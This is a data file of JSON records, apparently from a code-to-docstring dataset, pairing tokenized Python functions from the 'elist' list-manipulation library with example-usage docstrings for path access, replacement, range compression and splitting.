{"signature": "def cond_value_indexes_mapping(l,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>with_none = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>with_none = False<EOL><DEDENT>desc = {}<EOL>for i in range(<NUM_LIT:0>,l.__len__()):<EOL><INDENT>ele = l[i]<EOL>cond = cond_func(ele,*cond_func_args)<EOL>if((cond == None)&(not(with_none))):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if(cond in desc):<EOL><INDENT>desc[cond].append(i)<EOL><DEDENT>else:<EOL><INDENT>desc[cond] = [i]<EOL><DEDENT><DEDENT><DEDENT>return(desc)<EOL>", "docstring": "from elist.elist import *\nl = [('BIGipServer', 'rd19'), ('TS013d8ed5', '0105b6b0'), ('BIGipServer', 'rd19'), ('TS013d8ed5', '0105b6b0'), ('SID', '1'), ('SID', '2')]\n\ndef cond_func(ele,*args):\n    cond = ele[0]\n    return(cond)\n\ndesc = cond_value_indexes_mapping(l,cond_func=cond_func)\npobj(desc)", "id": "f1599:m182"}
{"signature": "def getitem_via_pathlist(ol,pathlist):", "body": "this = ol<EOL>for i in range(<NUM_LIT:0>,pathlist.__len__()):<EOL><INDENT>key = pathlist[i]<EOL>this = this.__getitem__(key)<EOL><DEDENT>return(this)<EOL>", "docstring": "from elist.elist import *\ny = ['a',['b',[\"bb\"]],'c']\ny[1][1]\ngetitem_via_pathlist(y,[1,1])", "id": "f1599:m183"}
{"signature": "def getitem_via_pathlist2(pathlist,ol):", "body": "this = ol<EOL>for i in range(<NUM_LIT:0>,pathlist.__len__()):<EOL><INDENT>key = pathlist[i]<EOL>this = this.__getitem__(key)<EOL><DEDENT>return(this)<EOL>", "docstring": "from elist.elist import *\ny = ['a',['b',[\"bb\"]],'c']\ny[1][1]\ngetitem_via_pathlist2([1,1],y)", "id": "f1599:m184"}
{"signature": "def getitem_via_sibseqs(ol,*sibseqs):", "body": "pathlist = list(sibseqs)<EOL>this = ol<EOL>for i in range(<NUM_LIT:0>,pathlist.__len__()):<EOL><INDENT>key = pathlist[i]<EOL>this = this.__getitem__(key)<EOL><DEDENT>return(this)<EOL>", "docstring": "from elist.elist import *\ny = ['a',['b',[\"bb\"]],'c']\ny[1][1]\ngetitem_via_sibseqs(y,1,1)", "id": "f1599:m185"}
{"signature": "def setitem_via_pathlist(ol,value,pathlist):", "body": "this = ol<EOL>for i in range(<NUM_LIT:0>,pathlist.__len__()-<NUM_LIT:1>):<EOL><INDENT>key = pathlist[i]<EOL>this = this.__getitem__(key)<EOL><DEDENT>this.__setitem__(pathlist[-<NUM_LIT:1>],value)<EOL>return(ol)<EOL>", "docstring": "from elist.elist import *\ny = ['a',['b',[\"bb\"]],'c']\ny[1][1]\nsetitem_via_pathlist(y,\"500\",[1,1])\ny", "id": "f1599:m188"}
{"signature": "def setitem_via_sibseqs(ol,value,*sibseqs):", "body": "this = ol<EOL>pathlist = list(sibseqs)<EOL>for i in range(<NUM_LIT:0>,pathlist.__len__()-<NUM_LIT:1>):<EOL><INDENT>key = pathlist[i]<EOL>this = this.__getitem__(key)<EOL><DEDENT>this.__setitem__(pathlist[-<NUM_LIT:1>],value)<EOL>return(ol)<EOL>", "docstring": "from elist.elist import *\ny = ['a',['b',[\"bb\"]],'c']\ny[1][1]\nsetitem_via_sibseqs(y,\"500\",1,1)\ny", "id": "f1599:m189"}
{"signature": "def delitem_via_pathlist(ol,pathlist):", "body": "this = ol<EOL>for i in range(<NUM_LIT:0>,pathlist.__len__()-<NUM_LIT:1>):<EOL><INDENT>key = pathlist[i]<EOL>this = this.__getitem__(key)<EOL><DEDENT>this.__delitem__(pathlist[-<NUM_LIT:1>])<EOL>return(ol)<EOL>", "docstring": "from elist.elist import *\ny = ['a',['b',[\"bb\"]],'c']\ny[1][1]\ndelitem_via_pathlist(y,[1,1])\ny", "id": "f1599:m190"}
{"signature": "def delitem_via_sibseqs(ol,*sibseqs):", "body": "pathlist = list(sibseqs)<EOL>this = ol<EOL>for i in range(<NUM_LIT:0>,pathlist.__len__()-<NUM_LIT:1>):<EOL><INDENT>key = pathlist[i]<EOL>this = this.__getitem__(key)<EOL><DEDENT>this.__delitem__(pathlist[-<NUM_LIT:1>])<EOL>return(ol)<EOL>", "docstring": "from elist.elist import *\ny = ['a',['b',[\"bb\"]],'c']\ny[1][1]\ndelitem_via_sibseqs(y,1,1)\ny", "id": "f1599:m191"}
{"signature": "def replace_seqs(ol,value,indexes,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>indexes = list(indexes)<EOL>new = []<EOL>length = ol.__len__()<EOL>cpol = copy.deepcopy(ol)<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(i in indexes):<EOL><INDENT>new.append(value)<EOL><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nnew = replace_seqs(ol,'AAA',[1,3,7])\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nrslt = replace_seqs(ol,'AAA',[1,3,7],mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)\n#replace_indexes = replace_seqs", "id": "f1599:m192"}
{"signature": "def replace_some(ol,value,*indexes,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>indexes = list(indexes)<EOL>return(replace_seqs(ol,value,indexes,mode=mode))<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nnew = replace_some(ol,'AAA',1,3,7)\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nrslt = replace_some(ol,'AAA',1,3,7,mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m193"}
{"signature": "def replace_value_seqs(ol,src_value,dst_value,seqs,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>indexes = indexes_seqs(ol,src_value,seqs)<EOL>return(replace_indexes(ol,dst_value,indexes,mode=mode))<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nnew = replace_value_seqs(ol,'a','AAA',[0,1])\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nrslt = replace_value_seqs(ol,'a','AAA',[0,1],mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m194"}
{"signature": "def replace_value_some(ol,src_value,dst_value,*seqs,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>return(replace_value_seqs(ol,src_value,dst_value,list(seqs),mode=mode))<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nnew = replace_value_some(ol,'a','AAA',0,1)\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nrslt = replace_value_some(ol,'a','AAA',0,1,mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m195"}
{"signature": "def cond_replace_value_all(ol,dst_value,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>new = copy.deepcopy(ol)<EOL>selected = find_all(new,cond_func,*cond_func_args)<EOL>selected_indexes = array_map(selected,lambda ele:ele['<STR_LIT:index>'])<EOL>new = replace_seqs(new,dst_value,selected_indexes)<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\ndef afterCH(ele,ch):\n    cond = (ord(str(ele)) > ord(ch))\n    return(cond)\n\nnew = cond_replace_value_all(ol,\"REPLACED\",cond_func=afterCH,cond_func_args=['B'])\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\nrslt = cond_replace_value_all(ol,\"REPLACED\",cond_func=afterCH,cond_func_args=['B'],mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m196"}
{"signature": "def cond_replace_value_seqs(ol,dst_value,seqs,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>new = copy.deepcopy(ol)<EOL>selected = find_all(new,cond_func,*cond_func_args)<EOL>selected_indexes = array_map(selected,lambda ele:ele['<STR_LIT:index>'])<EOL>selected_indexes = select_seqs(selected_indexes,seqs)<EOL>new = replace_seqs(new,dst_value,selected_indexes)<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\ndef afterCH(ele,ch):\n    cond = (ord(str(ele)) > ord(ch))\n    return(cond)\n\nnew = cond_replace_value_seqs(ol,\"REPLACED\",[0,2],cond_func=afterCH,cond_func_args=['B'])\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\nrslt = cond_replace_value_seqs(ol,\"REPLACED\",[0,2],cond_func=afterCH,cond_func_args=['B'],mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m197"}
{"signature": "def cond_replace_value_some(ol,dst_value,*some,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>seqs = list(some)<EOL>new = copy.deepcopy(ol)<EOL>selected = find_all(new,cond_func,*cond_func_args)<EOL>selected_indexes = array_map(selected,lambda ele:ele['<STR_LIT:index>'])<EOL>selected_indexes = select_seqs(selected_indexes,seqs)<EOL>new = replace_seqs(new,dst_value,selected_indexes)<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\ndef afterCH(ele,ch):\n    cond = (ord(str(ele)) > ord(ch))\n    return(cond)\n\nnew = cond_replace_value_some(ol,\"REPLACED\",0,2,cond_func=afterCH,cond_func_args=['B'])\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\nrslt = cond_replace_value_some(ol,\"REPLACED\",0,2,cond_func=afterCH,cond_func_args=['B'],mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m198"}
{"signature": "def rangize(break_points,length):", "body": "bps = array_map(break_points,uniform_index,length)<EOL>bps.sort()<EOL>bps = prepend(bps,<NUM_LIT:0>)<EOL>bps = append(bps,length)<EOL>bps = uniqualize(bps)<EOL>bpslen = bps.__len__()<EOL>secs=[(<NUM_LIT:0>,bps[<NUM_LIT:0>])]<EOL>for i in range(<NUM_LIT:0>,bpslen-<NUM_LIT:1>):<EOL><INDENT>r = (bps[i],bps[i+<NUM_LIT:1>])<EOL>secs.append(r)<EOL><DEDENT>secs.append((bps[bpslen-<NUM_LIT:1>],length))<EOL>if(secs[<NUM_LIT:0>][<NUM_LIT:0>] == secs[<NUM_LIT:0>][<NUM_LIT:1>]):<EOL><INDENT>secs.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>if(secs[-<NUM_LIT:1>][<NUM_LIT:0>] == secs[-<NUM_LIT:1>][<NUM_LIT:1>]):<EOL><INDENT>secs.pop(-<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(secs)<EOL>", "docstring": "break_points = [1,3,9,12,-2]\nlength = 15\nsecs = rangize(break_points,length)\nforEach(secs,print)", "id": "f1599:m199"}
{"signature": "def rangize_supplement(spans,lngth):", "body": "rslt = []<EOL>si = <NUM_LIT:0><EOL>ei = spans[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>if(si == ei):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>rslt.append((si,ei))<EOL><DEDENT>prev_ei = spans[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>for i in range(<NUM_LIT:1>,spans.__len__()):<EOL><INDENT>si = prev_ei<EOL>ei = spans[i][<NUM_LIT:0>]<EOL>rslt.append((si,ei))<EOL>prev_ei = spans[i][<NUM_LIT:1>]<EOL><DEDENT>if(prev_ei < lngth):<EOL><INDENT>rslt.append((prev_ei,lngth))<EOL><DEDENT>else:<EOL><INDENT>rslt.append((prev_ei,lngth+<NUM_LIT:1>))<EOL><DEDENT>return(rslt)<EOL>", "docstring": "spans = [(0, 3), (4, 7), (8, 10), (11, 12), (13, 16), (17, 20)]\nrangize_supplement(spans,24)", "id": "f1599:m201"}
{"signature": "def rangize_supp(spans,lngth):", "body": "rslt = []<EOL>si = <NUM_LIT:0><EOL>ei = spans[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>if(si == ei):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>rslt.append((si,ei))<EOL><DEDENT>prev_ei = spans[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>for i in range(<NUM_LIT:1>,spans.__len__()):<EOL><INDENT>si = prev_ei<EOL>ei = spans[i][<NUM_LIT:0>]<EOL>rslt.append((si,ei))<EOL>prev_ei = spans[i][<NUM_LIT:1>]<EOL><DEDENT>if(prev_ei < lngth):<EOL><INDENT>rslt.append((prev_ei,lngth))<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(rslt)<EOL>", "docstring": "spans = [(0, 3), (4, 7), (8, 10), (11, 12), (13, 16), (17, 20)]\nrangize_supplement(spans,24)", "id": "f1599:m202"}
{"signature": "def range_compress(ol):", "body": "T = (type(ol[<NUM_LIT:0>]) == type(<NUM_LIT:0>))<EOL>if(T):<EOL><INDENT>l = ol<EOL><DEDENT>else:<EOL><INDENT>l = array_map(ol,ord)<EOL><DEDENT>length = l.__len__()<EOL>secs = []<EOL>si = <NUM_LIT:0><EOL>ei = <NUM_LIT:0><EOL>prev = l[<NUM_LIT:0>]<EOL>for i in range(<NUM_LIT:1>,length):<EOL><INDENT>curr = l[i]<EOL>cond = (curr == (prev+<NUM_LIT:1>))<EOL>if(cond):<EOL><INDENT>ei = i<EOL>prev = curr<EOL><DEDENT>else:<EOL><INDENT>if(T):<EOL><INDENT>sec = (l[si],l[ei])<EOL><DEDENT>else:<EOL><INDENT>sec = (ol[si],ol[ei])<EOL><DEDENT>if(si == ei):<EOL><INDENT>sec = sec[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>secs.append(sec)<EOL>si = i<EOL>ei = i <EOL>prev = curr<EOL><DEDENT><DEDENT>if(T):<EOL><INDENT>sec = (l[si],l[ei])<EOL><DEDENT>else:<EOL><INDENT>sec = (ol[si],ol[ei])<EOL><DEDENT>if(si == ei):<EOL><INDENT>sec = sec[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>secs.append(sec)<EOL>return(secs)<EOL>", "docstring": "#only support sorted-ints or sorted-ascii\nl = [1,5,6,7,8,13,14,18,30,31,32,33,34]\nrange_compress(l)\nl = [1,5,6,7,8,13,14,18,30,31,32,33,34,40]\nrange_compress(l)\nl = ['a','b','c','d','j','k','l','m','n','u','y','z']\nrange_compress(l)", "id": "f1599:m203"}
{"signature": "def range_decompress(cl):", "body": "def cond_func(ele):<EOL><INDENT>length = ele.__len__()<EOL>cond = (length == <NUM_LIT:1>)<EOL>if(cond):<EOL><INDENT>return(ord(ele))<EOL><DEDENT>else:<EOL><INDENT>x = ord(ele[<NUM_LIT:0>])<EOL>y = ord(ele[<NUM_LIT:1>])<EOL>return((x,y))<EOL><DEDENT><DEDENT>if(type(cl[<NUM_LIT:0>])==type(<NUM_LIT:0>)):<EOL><INDENT>T = True<EOL><DEDENT>elif(cl[<NUM_LIT:0>].__len__() == <NUM_LIT:1>):<EOL><INDENT>T = (type(cl[<NUM_LIT:0>]) == type(<NUM_LIT:0>))<EOL><DEDENT>else:<EOL><INDENT>T = (type(cl[<NUM_LIT:0>][<NUM_LIT:0>]) == type(<NUM_LIT:0>))<EOL><DEDENT>if(T):<EOL><INDENT>l = cl <EOL><DEDENT>else:<EOL><INDENT>l = array_map(cl,cond_func)<EOL><DEDENT>rslt = []<EOL>for i in range(<NUM_LIT:0>,l.__len__()):<EOL><INDENT>ele = l[i]<EOL>if(type(ele) == type(<NUM_LIT:0>)):<EOL><INDENT>arr = [ele]<EOL><DEDENT>elif(ele.__len__() == <NUM_LIT:1>):<EOL><INDENT>arr = [ele]<EOL><DEDENT>else:<EOL><INDENT>sv = ele[<NUM_LIT:0>]<EOL>ev = ele[<NUM_LIT:1>]<EOL>arr = init_range(sv,ev+<NUM_LIT:1>,<NUM_LIT:1>)<EOL><DEDENT>if(T):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>arr = array_map(arr,chr)<EOL><DEDENT>rslt.extend(arr)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#only support sorted-ints or sorted-ascii\ncl = [1, (5, 8), (13, 14), 18, (30, 34)]\nrange_decompress(cl)\ncl = [1, (5, 8), (13, 14), 18, (30, 34), 40]\nrange_decompress(cl)\ncl = [('a', 'd'), ('j', 'n'), 'u', ('y', 'z')]\nrange_decompress(cl)", "id": "f1599:m204"}
{"signature": "def is_list(obj):", "body": "if(type(obj)==type([])):<EOL><INDENT>return(True)<EOL><DEDENT>else:<EOL><INDENT>return(False)<EOL><DEDENT>", "docstring": "from elist.elist import *\nis_list([1,2,3])\nis_list(200)", "id": "f1599:m205"}
{"signature": "def broken_seqs(ol,break_points):", "body": "bps = list(break_points)<EOL>length = ol.__len__()<EOL>rgs = rangize(bps,length)<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,rgs.__len__()):<EOL><INDENT>si,ei = rgs[i]<EOL>sec = ol[si:ei]<EOL>rslt.append(sec)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "ol = initRange(0,20,1)\nol\nbreak_points = [1,6,14,9]\nsecs = broken_seqs(ol,break_points)\nforEach(secs,print)", "id": "f1599:m206"}
{"signature": "def broken_some(ol,*break_points):", "body": "bps = list(break_points)<EOL>return(broken_seqs(ol,bps))<EOL>", "docstring": "ol = initRange(0,20,1)\nol\nsecs = broken_some(ol,1,6,14,9)\nforEach(secs,print)", "id": "f1599:m207"}
{"signature": "def brkl2kvlist(arr,interval,sub_pos=<NUM_LIT:1>,**kwargs):", "body": "lngth = arr.__len__()<EOL>brkseqs1 = init_range(<NUM_LIT:0>,lngth,interval)<EOL>brkseqs2 = init_range(sub_pos,lngth,interval)<EOL>brkseqs = interleave(brkseqs1,brkseqs2)<EOL>l = broken_seqs(arr,brkseqs)<EOL>kl = select_evens(l)<EOL>vl = select_odds(l)<EOL>if(\"<STR_LIT>\" in kwargs):<EOL><INDENT>single_key = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>single_key = True<EOL><DEDENT>if(sub_pos == <NUM_LIT:1>):<EOL><INDENT>if(single_key):<EOL><INDENT>kl = mapv(kl,lambda ele:ele[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return((kl,vl))<EOL>", "docstring": "arr = [\"color1\",\"r1\",\"g1\",\"b1\",\"a1\",\"color2\",\"r2\",\"g2\",\"b2\",\"a2\"]\nbrkl2kvlist(arr,5)\n(['color1', 'color2'], [['r1', 'g1', 'b1', 'a1'], ['r2', 'g2', 'b2', 'a2']])\nbrkl2kvlist(arr,5,2)\n([['color1', 'r1'], ['color2', 'r2']], [['g1', 'b1', 'a1'], ['g2', 'b2', 'a2']])", "id": "f1599:m208"}
{"signature": "def divide(ol,interval):", "body": "length = ol.__len__()<EOL>seqs = initRange(<NUM_LIT:0>,length,interval)<EOL>rslt = broken_seqs(ol,seqs)<EOL>return(rslt)<EOL>", "docstring": "ol = elel.initRange(0,20,1)\ninterval = 3\nrslt = elel.divide(ol,interval)\nrslt\nrslt = elel.divide(ol,4)\nrslt", "id": "f1599:m209"}
{"signature": "def split(ol,value,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>whiches = kwargs['<STR_LIT>']    <EOL><DEDENT>else:<EOL><INDENT>whiches = None<EOL><DEDENT>indexes =  indexes_all(ol,value)<EOL>if(whiches == None):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>indexes = select_indexes(indexes,whiches)<EOL><DEDENT>rslt = []<EOL>rslt.append(ol[:indexes[<NUM_LIT:0>]])<EOL>si = indexes[<NUM_LIT:0>]+<NUM_LIT:1><EOL>for i in range(<NUM_LIT:1>,indexes.__len__()):<EOL><INDENT>ei = indexes[i]<EOL>ele = ol[si:ei]<EOL>rslt.append(ele)<EOL>si = ei + <NUM_LIT:1><EOL><DEDENT>ele = ol[si:ol.__len__()]<EOL>rslt.append(ele)<EOL>return(rslt)<EOL>", "docstring": "ol = ['a',1,'a',2,'a',3,'a',4,'a']\nsplit(ol,'a')\nsplit(ol,'a',whiches=[0])\nsplit(ol,'a',whiches=[1])\nsplit(ol,'a',whiches=[2])\nsplit(ol,'a',whiches=[0,2])\nol = [1,'a',2,'a',3,'a',4]\nsplit(ol,'a')\nsplit('x=bcdsef=g','=',whiches=[0])", "id": "f1599:m214"}
{"signature": "def where(ol,value):", "body": "si = None<EOL>ei = None<EOL>for i in range(<NUM_LIT:0>,ol.__len__()):<EOL><INDENT>ele = ol[i]<EOL>if(value >ele):<EOL><INDENT>si = i <EOL><DEDENT>elif(value == ele):<EOL><INDENT>return((i,i))<EOL><DEDENT>else:<EOL><INDENT>ei = i <EOL>return((si,ei))<EOL><DEDENT><DEDENT>return((si,ei))<EOL>", "docstring": "ol = [0, 4, 6, 8, 10, 14]\nwhere(ol,-1)\nwhere(ol,1)\nwhere(ol,2)\nwhere(ol,3)\nwhere(ol,4)\nwhere(ol,9)\nwhere(ol,14)\nwhere(ol,17)", "id": "f1599:m216"}
{"signature": "def value_interval(ol,value):", "body": "si,ei = where(ol,value)<EOL>if(si == None):<EOL><INDENT>sv = None<EOL><DEDENT>else:<EOL><INDENT>sv = ol[si]<EOL><DEDENT>if(ei == None):<EOL><INDENT>ev = None<EOL><DEDENT>else:<EOL><INDENT>ev = ol[ei]<EOL><DEDENT>return((sv,ev))<EOL>", "docstring": "ol = [0, 4, 6, 8, 10, 14]\nvalue_interval(ol,-1)\nvalue_interval(ol,1)\nvalue_interval(ol,2)\nvalue_interval(ol,3)\nvalue_interval(ol,4)\nvalue_interval(ol,9)\nvalue_interval(ol,14)\nvalue_interval(ol,17)", "id": "f1599:m217"}
{"signature": "def upper_bound(ol,value):", "body": "return(value_interval(ol,value)[<NUM_LIT:1>])<EOL>", "docstring": "ol = [0, 4, 6, 8, 10, 14]\nupper_bound(ol,-1)\nupper_bound(ol,1)\nupper_bound(ol,2)\nupper_bound(ol,3)\nupper_bound(ol,4)\nupper_bound(ol,9)\nupper_bound(ol,14)\nupper_bound(ol,17)", "id": "f1599:m218"}
{"signature": "def lower_bound(ol,value):", "body": "return(value_interval(ol,value)[<NUM_LIT:0>])<EOL>", "docstring": "ol = [0, 4, 6, 8, 10, 14]\nlower_bound(ol,-1)\nlower_bound(ol,1)\nlower_bound(ol,2)\nlower_bound(ol,3)\nlower_bound(ol,4)\nlower_bound(ol,9)\nlower_bound(ol,14)\nlower_bound(ol,17)", "id": "f1599:m219"}
{"signature": "def rand_sub(arr,*args,**kwargs):", "body": "arr = copy.deepcopy(arr)<EOL>lngth = arr.__len__()<EOL>args = list(args)<EOL>if(args.__len__() == <NUM_LIT:0>):<EOL><INDENT>n = random.randrange(<NUM_LIT:0>,lngth)<EOL><DEDENT>else:<EOL><INDENT>n = args[<NUM_LIT:0>]<EOL>if(n>lngth):<EOL><INDENT>n = lngth<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>indexes = rand_some_indexes(<NUM_LIT:0>,lngth,n,**kwargs)<EOL>narr = select_seqs_keep_order(arr,indexes)<EOL>return(narr)<EOL>", "docstring": "arr = ['scheme', 'username', 'password', 'hostname', 'port', 'path', 'params', 'query', 'fragment']\nrand_sub(arr,3)\nrand_sub(arr,3)\nrand_sub(arr,3)\nrand_sub(arr)\nrand_sub(arr)\nrand_sub(arr)", "id": "f1599:m221"}
{"signature": "def is_leaf(obj):", "body": "if(is_list(obj)):<EOL><INDENT>length = obj.__len__()<EOL>if(length == <NUM_LIT:0>):<EOL><INDENT>return(True)<EOL><DEDENT>else:<EOL><INDENT>return(False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return(True)<EOL><DEDENT>", "docstring": "the below is for nested-list\nany type is not list will be treated as a leaf\nempty list will be treated as a leaf\nfrom elist.elist import *\nis_leaf(1)\nis_leaf([1,2,3])\nis_leaf([])", "id": "f1599:m226"}
{"signature": "def new_ele_description(**kwargs):", "body": "desc = {<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT:path>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None<EOL>}<EOL>for key in kwargs:<EOL><INDENT>desc[key.lower()] = kwargs[key]<EOL><DEDENT>return(desc)<EOL>", "docstring": "from elist.elist import *\nfrom elist.jprint import pobj\nroot_desc = new_ele_description(leaf=False,depth=0,breadth_path=[],path=[],parent_path=[],parent_breadth_path=[])\npobj(root_desc)\n#None means not handled", "id": "f1599:m230"}
{"signature": "def root_list(*args):", "body": "return(list(args))<EOL>", "docstring": "from elist.elist import *\nfrom elist.jprint import pobj\nroot_list([1],2,[1,2,3])", "id": "f1599:m231"}
{"signature": "def init_desc_matrix(l):", "body": "leaf = is_leaf(l)<EOL>root_desc = new_ele_description(leaf=leaf,depth=<NUM_LIT:0>,breadth_path=[],path=[],parent_path=[],parent_breadth_path=[])<EOL>if(leaf):<EOL><INDENT>root_desc['<STR_LIT>'] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>desc_matrix = [<EOL>[root_desc]<EOL>]<EOL>return(desc_matrix)<EOL>", "docstring": "from elist.elist import *\nfrom elist.jprint import pobj\nl = [1,[4],2,[3,[5,6]]]\ndesc_matrix = init_desc_matrix(l)\npobj(desc_matrix)", "id": "f1599:m232"}
{"signature": "def reset_parent_desc_template(desc):", "body": "tem = new_ele_description()<EOL>tem['<STR_LIT:path>'] = desc['<STR_LIT:path>']<EOL>tem['<STR_LIT>'] = desc['<STR_LIT>']<EOL>return(tem)<EOL>", "docstring": "from elist.elist import *\nfrom elist.jprint import pobj\npobj(desc)\ntem = reset_parent_desc_template(desc)\npobj(tem)\n#only inherit path  and breadth_path", "id": "f1599:m233"}
